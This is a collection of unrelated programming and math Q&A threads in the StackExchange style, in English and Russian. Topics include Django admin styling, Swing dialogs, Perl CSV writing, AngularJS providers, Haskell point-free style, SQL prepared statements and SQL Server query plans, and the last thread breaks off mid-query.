text:
Q: Дизайн Django админки Возможно ли изменить дизайн Django админки? Если это возможно, то как это сделать? Где взять её файлы html, css?

A: *

*можно скопировать все базовые стили и html шаблоны
https://djangodoc.ru/3.1/howto/overriding-templates/
https://vedmark.ru/?p=1752

*можно воспользоваться готовыми темами
https://djangopackages.org/grids/g/admin-styling/

*можно настраивать админки конкретных моделей:
то есть скрыть\показать поля, добавить фильтры, настроить поиск и т.д.
https://developer.mozilla.org/ru/docs/Learn/Server-side/Django/Admin_site

На самом деле настройка админки достаточно обширная тема, и за одно сообщение её не раскроешь
Надеюсь смог немного помочь или задать направление для поиска :-)

A: Вопрос очень широкий и можно его разбить на подвопросы. Короткий ответ, да, можно.
Про стили
Чтобы не копаться в исходниках существует команда для сбора всех стилей в одном месте - collectstatic. Данная команда собирает все стили из проекта, в том числе и админские в папку, которая указана в settings.py, как STATIC_ROOT. Выполните команду и все стили будут доступны в одном месте
py manage.py collectstatic

Про функционал и стили в том числе
Django хорошо задокументирован и основаня страница по админке(en) содержит всю информацию и ссылки на связные темы. Так же здесь можно найти не только кастомизацию моделей и отображений, но и подключение стилей через обычное определение в коде. То есть можно  просто подкллючить css файл.
Здесь пример для кастомизации с помощью javascript


text:
Q: JOptionPane.showConfirmDialog with multiple inputs returns early when return key hit Using JOptionPane.showConfirmDialog for multiple inputs:
int result = JOptionPane.showConfirmDialog(null, panel,
            prompt, JOptionPane.OK_CANCEL_OPTION, JOptionPane.QUESTION_MESSAGE);

The panel is built the following way:
JTextField percentField = new JTextField(5);

JComboBox cb = new JComboBox(movingAveragesList);
JPanel myPanel = new JPanel();
myPanel.add(new JLabel("Enter %:"));
myPanel.add(percentField);
myPanel.add(Box.createHorizontalStrut(5)); // a spacer
myPanel.add(new JLabel("Select MA:"));
myPanel.add(cb);

When user enters the % field and hits return, the code returns without combobox selection completed. return key == clicking OK button. Anyway to fix this so OK button needs hit before returning?

A: Two options:
Three options:
(probably more)

*

*Don't use a JOptionPane which will have your JTextField enter press default to call code to "accept" the the JOptionPane, closing it. Instead create your own modal JDialog, and either ignore the enter press in the JTextField or tab to the next component.

*Or you could re-assign the key binding for the enter key within your JTextField to do nothing or to tab to the next component. This is a little tricker but a little more interesting for me, so I decided to try it, the results are as shown below:

public static void main(String[] args) {
    SwingUtilities.invokeLater(() -> {
        JTextField percentField = new JTextField(5);

        // get the JTextField's action and input map
        ActionMap actionMap = percentField.getActionMap();
        int condition = JComponent.WHEN_FOCUSED; // only interested in the input where we have focus
        InputMap inputMap = percentField.getInputMap(condition);

        // get the key for the enter key press in the input map
        Object enterKey = inputMap.get(KeyStroke.getKeyStroke(KeyEvent.VK_ENTER, 0));

        // now re-assign its entry in the action map to tab to next component
        actionMap.put(enterKey, new AbstractAction() {

            @Override
            public void actionPerformed(ActionEvent arg0) {
                KeyboardFocusManager manager = KeyboardFocusManager.getCurrentKeyboardFocusManager();
                manager.focusNextComponent();
            }
        });

        String[] myData = { "One", "Two", "Three", "Four" };
        JComboBox cb = new JComboBox(myData);
        JPanel myPanel = new JPanel();
        myPanel.add(new JLabel("Enter %:"));
        myPanel.add(percentField);
        myPanel.add(Box.createHorizontalStrut(5)); // a spacer
        myPanel.add(new JLabel("Select MA:"));
        myPanel.add(cb);

        String prompt = "Please Select";
        int result = JOptionPane.showConfirmDialog(null, myPanel, prompt,
                JOptionPane.OK_CANCEL_OPTION, JOptionPane.QUESTION_MESSAGE);
    });
}

A 3rd simpler option:

*

*Simply give your JTextField an ActionListener that tabs to the next component. Since a JTextField's ActionListener is triggered whenever it has focus and enter is pressed, this will result in the action that you desire when enter is pressed.

public static void main(String[] args) {
    SwingUtilities.invokeLater(() -> {
        JTextField percentField = new JTextField(5);
        percentField.addActionListener(e -> {
            KeyboardFocusManager manager = KeyboardFocusManager
                    .getCurrentKeyboardFocusManager();
            manager.focusNextComponent();
        });

        String[] myData = { "One", "Two", "Three", "Four" };
        JComboBox cb = new JComboBox(myData);
        JPanel myPanel = new JPanel();
        myPanel.add(new JLabel("Enter %:"));
        myPanel.add(percentField);
        myPanel.add(Box.createHorizontalStrut(5)); // a spacer
        myPanel.add(new JLabel("Select MA:"));
        myPanel.add(cb);

        String prompt = "Please Select";
        int result = JOptionPane.showConfirmDialog(null, myPanel, prompt,
                JOptionPane.OK_CANCEL_OPTION, JOptionPane.QUESTION_MESSAGE);
    });
}

redpajama_set_name: RedPajamaStackExchange


text:
Q: Save a row to csv format I have a set of rows from a DB that I would like to save to a csv file.
Taking into account that the data are ascii chars without any weird chars would the following suffice?
my $csv_row = join( ', ', @$row );
# save csv_row to file

My concern is if that would create rows that would be acceptable as CSV by any tool and e.g not be concern with quoting etc.
Update:
Is there any difference with this?
my $csv = Text::CSV->new ( { binary => 1, eol    => "\n"} );
my $header = join (',', qw( COL_NAME1 COL_NAME2 COL_NAME3 COL_NAME4 ) );
$csv->print( $fh, [$header] );
foreach my $row ( @data ) {
  $csv->print($fh,  $row );
}

This gives me as a first line:
" COL_NAME1,COL_NAME2,COL_NAME3,COL_NAME4"

Please notice the double quotes and the rest of the rows are without any quotes.
What is the difference than my plain join?  Also do I need the binary set?

A: The safest way should be to write clean records with a comma separator. The simpler the better, specially with the format that has so much variation in real life. If needed, double quote each field.
The true strength in using the module is for reading of "real-life" data. But it makes perfect sense to use it for writing as well, for a uniform approach to CSV.  Also, options can then be set in a clear way, and the module can iron out some glitches in data.
The Text::CSV documentation tells us about binary option

Important Note: The default behavior is to accept only ASCII characters in the range from 0x20 (space) to 0x7E (tilde). This means that the fields can not contain newlines. If your data contains newlines embedded in fields, or characters above 0x7E (tilde), or binary data, you must set binary => 1 in the call to new. To cover the widest range of parsing options, you will always want to set binary.

I'd say use it.  Since you write a file this may be it for options, along with eol (or use say method). But do scan the many useful options and review their defaults.
As for your header, the print method expects an array reference where each field is an element, not a single string with comma-separated fields. So it is wrong to say
my $header = join (',', qw(COL_NAME1 COL_NAME2 COL_NAME3 COL_NAME4));  # WRONG
$csv->print( $fh, [$header] );

since the $header is a single string which is then made the sole element of the (anonymous) array reference created by [ ... ]. So it prints this string as the first field in the row, and since it detects in it the separator , itself it also double-quotes. Instead, you should have
$csv->print($fh, [COL_NAME1 COL_NAME2 COL_NAME3 COL_NAME4]);

or better assign column names to @header and then do $csv->print($fh, \@header).
This is also an example of why it is good to use the module for writing – if a comma slips into an element of the array, supposed to be a single field, it is handled correctly by double-quoting.

A complete example
use warnings;
use strict;
use Text::CSV_XS;

my $csv = Text::CSV->new ( { binary => 1, eol => "\n" } )
    or die "Cannot use CSV: " . Text::CSV->error_diag();

my $file = 'output.csv';
open my $fh_out , '>', 'output.csv' or die "Can't open $file for writing: $!";

my @headers = qw( COL_NAME1 COL_NAME2 COL_NAME3 COL_NAME4 );
my @data = 1..4;

$csv->print($fh_out, \@headers);
$csv->print($fh_out, \@data);

close $fh_out;

what produces the file output.csv

COL_NAME1,COL_NAME2,COL_NAME3,COL_NAME4
1,2,3,4


text:
Q: IOC in AngularJS (1.x) - How can I achieve? I'm looking for some way to add IOC to my angularjs application.
My app is a multi tenant app and I need to use different services for different tenants with the same registration name.
I'm using TypeScript as well and it works well with using concrete types over interfaces.
My main problem is how can I decide how to register the correct service to my application.
This is an example:
var app = angular.module('app',[]);

// common registrations
app.service('commonService1', commonServiceFunction1);
app.service('commonService2', commonServiceFunction2);
app.service('commonService3', commonServiceFunction3);
app.service('commonService4', commonServiceFunction4);

// here I want to register the same service name with a different implementation
app.service('serviceName', serviceOneFunction); // sometimes I will need this service
app.service('serviceName', serviceTwoFunction); // sometimes I will need this service

Things I thought about:

*

*Add some logic and download the correct js files per source - Function names will stay the same and I will need to figure out a way to provide the correct js file that includes the correct functions.

*Override the registrations (e.g. register the common service and then override the registration with a specific implementation).
Both solutions ugly and not scalable to me.
I would like to have a IOC container or some other solution that is a bit more nice and scalable.

A: If I have understood question correct, you can register services(which are actually providers) as provider which you configure at angular configuration step.
So, it may look like this:
var app = angular.module('app',[]);

// common registrations
app.service('commonService1', commonServiceFunction1);
app.service('commonService2', commonServiceFunction2);
app.service('commonService3', commonServiceFunction3);
app.service('commonService4', commonServiceFunction4);

app.provider('serviceName', function ServiceNameProvider() {
    var service = DefaultService;

    this.setService = function(newService) {
        service = newService
    }

    this.$get = [function() {
        return service;
    }];
});

app.config(["serviceNameProvider", function(serviceNameProvider) {
    if(someCondition) {
        serviceNameProvider.setService(ServiceImpl1);
    } else {
        serviceNameProvider.setService(ServiceImpl2);
    }
}]);

Services, factory are just syntactic sugar over provider. You can determine your service function at configuration stage of angular. ServiceImpl1, ServiceImpl2 are just functions but you can use dependency injection there as they will be called by provider with $injector.invoke. Read about providers

A: Hope this will help you. Try Using angular factory.
angular.module('app').factory('tenantService', function() {
  var tenantService = undefined;

  if(tenantType == "1"){
     tenantService = new TenantService1();
  } else if(tenantType == "2"){
     tenantService = new TenantService2();
  } else {
     tenantService = new TenantDefService();
  }
  return tenantService;
});


text:
Q: In node js how to connect the post method while submitting form this is my form how can i connect with node js.while submitting this form
<form id="fileupload" action="/file-upload" method="POST" enctype="multipart/form-data">
<input id="fileToBeUploaded" type="file" name="thumbnail">
<input type="submit" value="upload">
</form>

server side
var http = require("http");
var url = require("url");

http.createServer(function(req, res) {
  switch (url.parse(req.url).pathname)
  {
    case '/': console.log('server side methodcalled');
      break;
    case '/file-upload': console.log('server side method called');
      break;
    default:
      console.log('server side method called');
      break;
  }
});

A: In your nodejs server program you can check for request method and action.
if((request.method == 'POST') && (request.url == '/file-upload') {
  .......
}

Updated -
var http = require("http");
var url = require("url");
var fs = require("fs");

http.createServer(function(req, res) {
  switch (url.parse(req.url).pathname)
  {
    case '/':
      console.log('server side methodcalled');
        fs.readFile(__dirname + '/index.html',
          function (err, data) {
            res.writeHead(200);
            res.end(data);
          });
        break;
    case '/file-upload':
      console.log('server side method called');
      break;
    default:
      console.log('server side method called');
      break;
  }
}).listen(3000);

Now you can connect to localhost:3000

A: In order to implement file uploading, you'll need to read the body of the request and parse out the various multiple parts. This can be tricky, so I'd strongly suggest you use an existing module like formidable, or something that invokes it behind the scenes like connect.bodyParser() or express.bodyParser().


text:
Q: Haskell: Simplifying Functions Through "Principled Transformations" This past week or two in my computer science class, we've been asked show how functions can be simplified and shortened through "principled transformations." We have not been receiving feedback on these assignments so I have no idea if I'm doing it right.
Here's my latest exercise, and my attempt at a solution:
Show by a series of principled transformations that we can define:
    char :: Char -> Parser Char
    char c = satisfy (c==)
as
    char :: Char -> Parser Char
    char = satisfy . (==)

My attempt:
char c = satisfy (c==)
=> char c = satisfy . c==
=> char c = satisfy . flip ==c
=> char = satisfy . flip ==
=> char = satisfy . (==)

Could I get some feedback please? The code provided for the assignment is incomplete, so I cannot compile it and test to see if each transformation works. I tried writing a similar set of functions to test the transformations myself, but I unfortunately am very bad at and new to Haskell so I couldn't figure that out either.

A: Here's a step-by-step approach:
char c = satisfy (c==)
char c = satisfy (\x -> c == x)   -- Sections [1]
char c = satisfy (\x -> (==) c x) -- Prefix form
char c = satisfy ((==) c)         -- Eta reduction [2]
char c = (.) satisfy (==) c       -- Composition: `(.) f g x = f (g x)`
char c = (satisfy . (==)) c       -- Infix form
char   = satisfy . (==)           -- Eta reduction

I would maybe even forgo explicitly expanding the section and simply go from (c==) to ((==) c).
1: http://www.haskell.org/onlinereport/haskell2010/haskellch3.html#x8-300003.5
2: http://www.haskell.org/haskellwiki/Eta_conversion

A: Well there are a few errors here, first I'm going to write down relevant types
char :: Char -> Parser Char
satisfy :: (Char -> Bool) -> Parser Char
(==) :: Char -> Char -> Char

I've deliberately restricted some signatures to make this more pleasant.
char c = satisfy (c==)
char c = satisfy . c== -- This is a parse error, not sure what you meant
char c = satisfy . flip ==c -- Also wrong, flip swaps arguments,
                            -- but this function has only one argument
char = satisfy . flip == -- Eta conversion is right, this code is
                         -- still a parse error - you should check code with ghci or winhugs

My approach would be
char c = satisfy   (c==)
char c = satisfy $ (\c -> \d -> c == d) c -- Explicitly undo sections
char c = satisfy . (\c d -> c == d) $ c -- f(g x) === (f . g) x by the
                                        -- definition of composition
char c = (satisfy . (==)) c
char = satisfy . (==)


text:
Q: Хранение отзывов в базе данных Здравствуйте! Посоветуйте, пожалуйста, как можно хранить в БД отзывы по объектам? Если все объекты разделены на таблицы - парки, кафе, театры и т.д. и по каждому объекту каждой группы надо хранить отзыв, комментарий. Не придумаю никак оптимальное решение.
A: У вас есть таблицы типа:
 Имя таблицы    Поля
 -------------------
Парки           id, name, ...
Рестораны       id, name,  ...
...             id, name, ...

Самый простой способ на мой взгляд создать таблицу "Отзывы" с полями id (ИД отзыва), table_name (имя таблицы, в которой храниться объект, к которому относится отзыв), obj_id (идентификатор объекта в таблице table_name, для которого и оставлен отзыв), comment (текст отзыва).
Чтобы выбрать все отзывы для Рестораны с id=23:
SELECT comment FROM Отзывы WHERE table_name = "Рестораны" AND obj_id = 23


text:
Q: Calling a database view in Yii using Active Record I understand how to query a table with Yii's active record environment.  I can't find documentation for calling a mysql view.  Also, I know how to model a table in active record with the gii tool, but is there a way to do this for a database view?

A: I am not having the same experience and this comment is for those who are having trouble.
Using a mysql view with some joins and calculations I get the following error..
app\\models\\db\\WarComplete must have a primary key.
I resolved this by adding...
public static function primaryKey()
{
    return ['id'];
}

... to my model override.

A: It should work fine in the same way as with tables. Just use the view name when you generate the model.
Please read Joshua's answer and learn how to add primary Key into the OOP model for views.


text:
Q: Submit button doesn't work after searching I have been looking for a solution but it was imposible. I hope it is well explained.
I have a list of users with a small form to change one of the attributes in the DB (that attribute is to know that the user has done the check-in).

There is also a searcher that shows the result with AJAX so that all the page won't be reloaded. When I load the page for the first time the browser renders HTML and the Save button works as expected. But when I use the searcher and the list appears (using JS) the submit button doesn't work. In Mozilla Firefox does nothing at all and in Google Chrome I get this error: No route matches "user's profile route". The searcher works fine (shows the correct users). I use Rails 3.0.1 and Ruby 1.8.7
check_in.html.erb
Here is the searcher and the render call
<%= form_tag({:controller => "admins", :action => "check_in"}, :id => "users_search", :method => "get", :html => {:autocomplete => "off"}) do %>
  <%= hidden_field_tag :selected_event_id, params[:selected_event_id] %>

     <%= text_field_tag :search, params[:search] %>
     <%= submit_tag "Search", :name => nil %>

<% end %>

<%= render :partial => 'check_in' %>

_check_in.html.erb
This is the partial that renders above
  <%@event_user_infos.each do |user_info|subscription = Subscription.find(:first, :conditions => ["user_id = ? and event_id = ?", user_info.user_id, params[:selected_event_id]])%>
       <%= simple_form_for(subscription) do |f| %>
          <%= f.hidden_field :user_id %>
          <%= f.hidden_field :event_id %>

          <%= link_to user_info.name, subscription %>
          <%= user_info.company %>
          <%= user_info.user.email %>
          <%= subscription.networkId %>
              <%= f.input :token, :input_html => { :size => 15, :maxlength => 15 }, :as => :integer, :label => false %>

                 <%= f.submit 'save' %>

      <% end %>
 <% end %>

admins_controller.rb
I only put the relevant part of the code
def check_in
    event_id = params[:selected_event_id]
    if !event_id.nil?
      session[:event_id] = event_id
      @event_user_infos = UserInfo.search(params[:search],event_id).order(sort_column + ' ' + sort_direction)
   end
end

check_in.js.erb
$('#check_in').html('<%= escape_javascript(render :partial => 'check_in') %>');

EDIT
I added a conditional:remote => remote option (if there is a search remote == true and if is not remote == false) to the partial's form and the error in Google Chrome disappeared, but it still does nothing (now in both browsers). I also checked the HTML source and it seems to be OK.

A: I finally managed to solve the problem. I changed <%= javascript_include_tag :defaults%> line of code for <%= javascript_include_tag 'prototype'%> in application.html.erb file and it works now in both browsers.


text:
Q: A tough double integral I am looking at an ugly ratio of two random variables and am interested in the density of the the ratio. So what I did was to write down the joint characteristic function of the numerator and denominator and now try to invert it. But it sounds like a really hard  task.
Define  $$g(u,v)=\Big(\cosh \beta + \frac{c+u}{\beta}\sinh \beta \Big)^{-\frac12}$$  where $$\beta=\sqrt{c^2+2cu+2v}$$
Now how should I approach $$\int_{-i\infty}^{i\infty}\int_{-i\infty}^{i\infty}e^{vs+u\alpha}g(u,v)dudv=?$$
I will be happy with a sum, double sum or anything like that. I know that $\alpha,c>0$. I appreciate your help.


text:
Q: Javascript/Navbar Dropdown Not Working With Twitter Bootstrap I'm trying to use the latest version of twitter bootstrap to create a navigation menu with dropdown links.
However, the dropdown doesn't work, and the collapsed navbar doesn't go back up.
I'm assuming something in the javascript doesn't work, but I've double checked my hotlinks and they're all up and working.
Here's what I have in my head:

<link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.4/yeti/bootstrap.min.css" rel="stylesheet">

<link rel="stylesheet" href="../css/calculator.css">

I don't see any issues with this.
Here's the html for the nav.  It was copied and pasted from the bootstrap source docs.

          <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1">
            Toggle navigation

          </button>
          Health Kismet

Formula Analyzer (current)

How To Use

Suppliers

                  Help

Contact/FAQ

Forums

Get Help With Your Formula

                  Blog

Company Blog

Entrepreneurship Articles

Not sure if it's something wrong with the bootstrap or if there's possible interference from other javascript files.
You can view the whole page here:  www.healthkismet.com/formula-analyzer/

A: You have many of the same JS scripts and new and old versions.
Please put all of these JS scripts below at the end of your page.

And only use one css CDN link.
Also when using Bootstrap and custom css, the placement of your CSS can take priority over another in the order they get read in your page.
It will now works if you just use the JS scripts above.


text:
Q: Prove a bound on matrix multiplication?
Show that $O(\log n)$ matrix multiplications suffice for computing $X^n$. (Hint:Think about
  computing $X^8$.)
$X = \pmatrix{0 & 1 \\ 1 & 1}$

How would I go about doing this? I'm completely lost.

A: I think you are expected to compute the power by using the Binary Method for Exponentiation.. The idea is of great usefulness in computation, so there are many variant executions. We give one which is simple to describe, but somewhat inefficient, because of the storage requirements. However, it is not hard to modify things so that little storage is required.
First calculate the binary expansion of the exponent $n$. So we find bits $a_0,a_1,a_2,\dots, a_k$ such that
$$n=a_02^0+a_12^1+a_22^2+\cdots +a_k2^k.\tag{$1$}$$
Calculate $X^0=I$, $X^1$, $X^2$, $X^4$, and so on up to $X^{2^k}$ by repeated squaring. This works because $X^{2^{j+1}}=(X^{2^j})^2$.
Finally, find the product of all the $X^{2^i}$ with $a_i=1$. This product is $X^n$. That follows from the fact that $X^{s+t}=X^sX^t$.
The $k$ of Formula $(1)$ is of size about $\log_2 n$, so the repeated squarings use about $\log_2 n$ matrix multiplications. The multiplications at the end, for the $a_i=1$, take (at most) about $\log_2 n$ matrix multiplications.
Remark: The powers of the particular matrix mentioned in the problem are intimately connected with the Fibonacci numbers. So in particular the binary method for matrix exponentiation is useful for calculating $F_n$ for largish $n$. Because of the rapid growth of the Fibonacci numbers, it is best to use exact integer arithmetic.


text:
Q: How to rewrite SQL statements for PreparedStatements? I want to rewrite the folling SQL statement into a dynamic PreparedStatement java:
UPDATE table SET field='C' WHERE id=3;
INSERT INTO table (id, field)
       SELECT 3, 'C'
       WHERE NOT EXISTS (SELECT 1 FROM table WHERE id=3);

Especially I don't know how to rewrite the SELECT 3, 'C' line to dynamic statements.
UPDATE table SET name=:name WHERE id=:id
INSERT INTO table (id, name)
       SELECT 3, 'C'  <-- how could I rewrite these values to take the dynamic values from PreparedStatement?
       WHERE NOT EXISTS (SELECT 1 FROM table WHERE id=3);

My object, similar:
@Entity
public class MyEntity {
   long id, String name;
}

A: You have to do this in two statements:
PreparedStatement update = connection.prepareStatement(
    "UPDATE table SET field=? WHERE id=?");

PreparedSTatement insert = connection.prepareStatement(
    "INSERT INTO table (id, field) \n" +
    "       SELECT ?, ? \n" +
    "       WHERE NOT EXISTS (SELECT 1 FROM table WHERE id=?)";

update.setString(1, "C");
update.setInt(2, 3);
update.executeUpdate();

insert.setInt(1, 3);
insert.setString(2, "C");
insert.setInt(3, 3);
insert.executeUpdate();

connection.commit();

Edit I forgot that Postgres allows multiple SQL statements in one PreparedStatement:
PreparedStatement stmt = connection.prepareStatement(
    "UPDATE table SET field=? WHERE id=?;\n" +
    "INSERT INTO table (id, field) \n" +
    "       SELECT ?, ? \n" +
    "       WHERE NOT EXISTS (SELECT 1 FROM table WHERE id=?)";

stmt.setString(1, "C");
stmt.setInt(2, 3);
stmt.setInt(3, 3);
stmt.setString(4, "C");
stmt.setInt(5, 3);
stmt.executeUpdate();

connection.commit();

Edit2 the only way I can think of where you only specify the values once is this:
String sql =
  "with data (id, col1) as ( \n" +
  "  values (?, ?) \n" +
  "), updated as ( \n" +
  " \n" +
  "  UPDATE foo  \n" +
  "     SET field = (select col1 from data)  \n" +
  "  WHERE id  = (select id from data) \n" +
  ") \n" +
  "insert into foo  \n" +
  "select id, col1  \n" +
  "from data  \n" +
  "where not exists (select 1  \n" +
  "                  from foo \n" +
  "                  where id = (select id from data))";

pstmt = connection.prepareStatement(sql);
pstmt.setInt(1, 3);
pstmt.setString(2, "C");
pstmt.executeUpdate();

A: You would do:
SELECT ?, ?

And then with the resulting PreparedStatement object, you would bind your parameters:
myPreparedStatement.setLong(1, 3); //The first ? found
myPreparedStatement.setString(2, "C");

This is more advantageous when you are doing loops or using variables passed to you through a method, rather than constants you already know in the code (in case that would come up)


text:
Q: Same query different execution plans I am trying to optimize performance for a server and this particular query was causing huge reads from database, in turn causing timeout for queries. This query is generated from EF6 in Asp.Net MVC.
Here is the problematic query:
exec sp_executesql N'SELECT
[Project1].[C1] AS [C1],
[Project1].[Date] AS [Date],
[Project1].[AssetID] AS [AssetID],
[Project1].[EventData] AS [EventData]
FROM ( SELECT
    [Extent1].[AssetID] AS [AssetID],
    [Extent1].[Date] AS [Date],
    [Extent1].[EventData] AS [EventData],
    1 AS [C1]
    FROM [dbo].[Alarm] AS [Extent1]
    WHERE ([Extent1].[AssetID] IN (cast(''c6e3142e-5b1f-4a91-90d2-03a504e86ece'' as uniqueidentifier), cast(''4de25e8a-7401-49ae-bd6d-0861d67f0d2f'' as uniqueidentifier), cast(''455e3a5f-1091-4784-9964-0a1a54eaa644'' as uniqueidentifier), cast(''04b46c21-c44f-4b67-b64b-12f2764c0448'' as uniqueidentifier), cast(''a350992b-8548-4bf1-bd22-131c114a5343'' as uniqueidentifier), cast(''98ec1f36-cc54-45d2-a0e3-22aa1b669373'' as uniqueidentifier), cast(''27abcf37-2093-43d5-ae62-2e7b10fe4692'' as uniqueidentifier), cast(''c9f43598-2b9c-47b0-9230-37440e6aea54'' as uniqueidentifier), cast(''c5964caa-5c73-4c0e-bb80-4c1dc7e11039'' as uniqueidentifier), cast(''6ac30678-3876-43c9-b708-61ef19b5ea17'' as uniqueidentifier), cast(''e69d870a-87de-4e3d-b4fc-62c962489a7b'' as uniqueidentifier), cast(''a7c2f407-c605-4491-85fe-66c16fc15586'' as uniqueidentifier), cast(''a38f452e-ee3a-4be7-94ad-99c1474a417f'' as uniqueidentifier), cast(''b0f65616-d5d1-4af9-bffd-9c4b2b7f52e7'' as uniqueidentifier), cast(''3940fed6-9c40-4db6-bdc2-9dc5ef7b49ea'' as uniqueidentifier), cast(''e09f7618-c7d7-414d-b5d7-9ec22b3e9b64'' as uniqueidentifier), cast(''62c91349-d33f-42ed-b16d-a63424acca4a'' as uniqueidentifier), cast(''46812e72-45af-426e-9d72-aafdbcc9c4a7'' as uniqueidentifier), cast(''2a1d2b2a-0471-4f57-adc5-b42a03eb5e01'' as uniqueidentifier), cast(''2797d370-b237-4d2c-bede-b7af67f2b0f4'' as uniqueidentifier), cast(''0c50bb44-133e-4434-b403-c172873564e9'' as uniqueidentifier), cast(''dda75f7a-d366-472e-81b5-c4f3119dd715'' as uniqueidentifier), cast(''cc469264-a706-49c6-961b-d6520437e796'' as uniqueidentifier), cast(''ee2d7ea0-1f94-4cc3-9f64-d8d56374cae5'' as uniqueidentifier), cast(''f7dc6b77-3735-479d-b420-e145d4e3d66f'' as uniqueidentifier), cast(''8a7dbe93-ed1a-49f3-a3d0-e19c6dd4e4ef'' as uniqueidentifier), cast(''b0524a60-f980-4b82-a799-e788a9a4d04b'' as uniqueidentifier), cast(''ceaf8a0b-f410-4f88-9062-e804b76b6e78'' as uniqueidentifier))) AND ([Extent1].[EventCode] = @p__linq__0) AND ([Extent1].[Date] >= @p__linq__1) AND ([Extent1].[Date] <= @p__linq__2) AND (([Extent1].[SiteID] = @p__linq__3) OR (([Extent1].[SiteID] IS NULL) AND (@p__linq__3 IS NULL)))
)  AS [Project1]
ORDER BY [Project1].[Date] DESC',N'@p__linq__0 int,@p__linq__1 datetime2(7),@p__linq__2 datetime2(7),@p__linq__3 uniqueidentifier',@p__linq__0=1799,@p__linq__1='2018-04-22 10:00:00',@p__linq__2='2018-04-23 10:00:00',@p__linq__3='B02A51FE-2248-E611-A64E-782BCB72ACED'
go

So what i did i remove the parameters from query and run it as a single unit like this.
 select * from (  SELECT  1 as c1,  [Extent1].[Date] AS [Date],
    [Extent1].[AssetID] AS [AssetID],
    [Extent1].[EventData] AS [EventData]
    FROM [dbo].[Alarm] AS [Extent1]
    WHERE ([Extent1].[AssetID] IN (cast('c6e3142e-5b1f-4a91-90d2-03a504e86ece' as uniqueidentifier), cast('4de25e8a-7401-49ae-bd6d-0861d67f0d2f' as uniqueidentifier), cast('455e3a5f-1091-4784-9964-0a1a54eaa644' as uniqueidentifier), cast('04b46c21-c44f-4b67-b64b-12f2764c0448' as uniqueidentifier), cast('a350992b-8548-4bf1-bd22-131c114a5343' as uniqueidentifier), cast('98ec1f36-cc54-45d2-a0e3-22aa1b669373' as uniqueidentifier), cast('27abcf37-2093-43d5-ae62-2e7b10fe4692' as uniqueidentifier), cast('c9f43598-2b9c-47b0-9230-37440e6aea54' as uniqueidentifier), cast('c5964caa-5c73-4c0e-bb80-4c1dc7e11039' as uniqueidentifier), cast('6ac30678-3876-43c9-b708-61ef19b5ea17' as uniqueidentifier), cast('e69d870a-87de-4e3d-b4fc-62c962489a7b' as uniqueidentifier), cast('a7c2f407-c605-4491-85fe-66c16fc15586' as uniqueidentifier), cast('a38f452e-ee3a-4be7-94ad-99c1474a417f' as uniqueidentifier), cast('b0f65616-d5d1-4af9-bffd-9c4b2b7f52e7' as uniqueidentifier), cast('3940fed6-9c40-4db6-bdc2-9dc5ef7b49ea' as uniqueidentifier), cast('e09f7618-c7d7-414d-b5d7-9ec22b3e9b64' as uniqueidentifier), cast('62c91349-d33f-42ed-b16d-a63424acca4a' as uniqueidentifier), cast('46812e72-45af-426e-9d72-aafdbcc9c4a7' as uniqueidentifier), cast('2a1d2b2a-0471-4f57-adc5-b42a03eb5e01' as uniqueidentifier), cast('2797d370-b237-4d2c-bede-b7af67f2b0f4' as uniqueidentifier), cast('0c50bb44-133e-4434-b403-c172873564e9' as uniqueidentifier), cast('dda75f7a-d366-472e-81b5-c4f3119dd715' as uniqueidentifier), cast('cc469264-a706-49c6-961b-d6520437e796' as uniqueidentifier), cast('ee2d7ea0-1f94-4cc3-9f64-d8d56374cae5' as uniqueidentifier), cast('f7dc6b77-3735-479d-b420-e145d4e3d66f' as uniqueidentifier), cast('8a7dbe93-ed1a-49f3-a3d0-e19c6dd4e4ef' as uniqueidentifier), cast('b0524a60-f980-4b82-a799-e788a9a4d04b' as uniqueidentifier), cast('ceaf8a0b-f410-4f88-9062-e804b76b6e78' as uniqueidentifier))) AND ([Extent1].[EventCode] = 1799) AND ([Extent1].[Date] >= '2018-04-22 10:00:00') AND ([Extent1].[Date] <= '2018-04-23 10:00:00') AND (([Extent1].[SiteID] = 'B02A51FE-2248-E611-A64E-782BCB72ACED') OR (([Extent1].[SiteID] IS NULL) AND ('B02A51FE-2248-E611-A64E-782BCB72ACED' IS NULL)))
) as proeject1  order by proeject1.Date desc

These are the respective IO costs for queries.
(3721 row(s) affected)
Table 'Worktable'. Scan count 0, logical reads 0, physical reads 0, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0.
Table 'Alarm'. Scan count 5, logical reads 69032, physical reads 0, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0.

Better plan
(3721 row(s) affected)
Table 'Alarm'. Scan count 28, logical reads 564, physical reads 0, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0.

Actual execution plan with good performance
Actual execution plan with bad performance
I have tried:

*

*Option recompile

*DBCC FREEPROCCACHE

*sp_updatestats

*Rebuilding corresponding index

But query always picks this plan causing a huge load on server disk.
Thanks

A: Maybe I am missing something but why do you need the sub-query?
OP said from entity framework and even the better query had a sub query.
I wanted to break down the query and it was more than I bargained for.
Worth a try:
exec sp_executesql N'
SELECT [Extent1].[AssetID] AS [AssetID],
       [Extent1].[Date] AS [Date],
       [Extent1].[EventData] AS [EventData],
       1 AS [C1]
  FROM [dbo].[Alarm] AS [Extent1]
 WHERE [Extent1].[AssetID] IN (  cast(''c6e3142e-5b1f-4a91-90d2-03a504e86ece'' as uniqueidentifier)
                               , cast(''4de25e8a-7401-49ae-bd6d-0861d67f0d2f'' as uniqueidentifier)
                               , cast(''455e3a5f-1091-4784-9964-0a1a54eaa644'' as uniqueidentifier)
                               , cast(''04b46c21-c44f-4b67-b64b-12f2764c0448'' as uniqueidentifier)
                               , cast(''a350992b-8548-4bf1-bd22-131c114a5343'' as uniqueidentifier)
                               , cast(''98ec1f36-cc54-45d2-a0e3-22aa1b669373'' as uniqueidentifier)
                               , cast(''27abcf37-2093-43d5-ae62-2e7b10fe4692'' as uniqueidentifier)
                               , cast(''c9f43598-2b9c-47b0-9230-37440e6aea54'' as uniqueidentifier)
                               , cast(''c5964caa-5c73-4c0e-bb80-4c1dc7e11039'' as uniqueidentifier)
                               , cast(''6ac30678-3876-43c9-b708-61ef19b5ea17'' as uniqueidentifier)
                               , cast(''e69d870a-87de-4e3d-b4fc-62c962489a7b'' as uniqueidentifier)
                               , cast(''a7c2f407-c605-4491-85fe-66c16fc15586'' as uniqueidentifier)
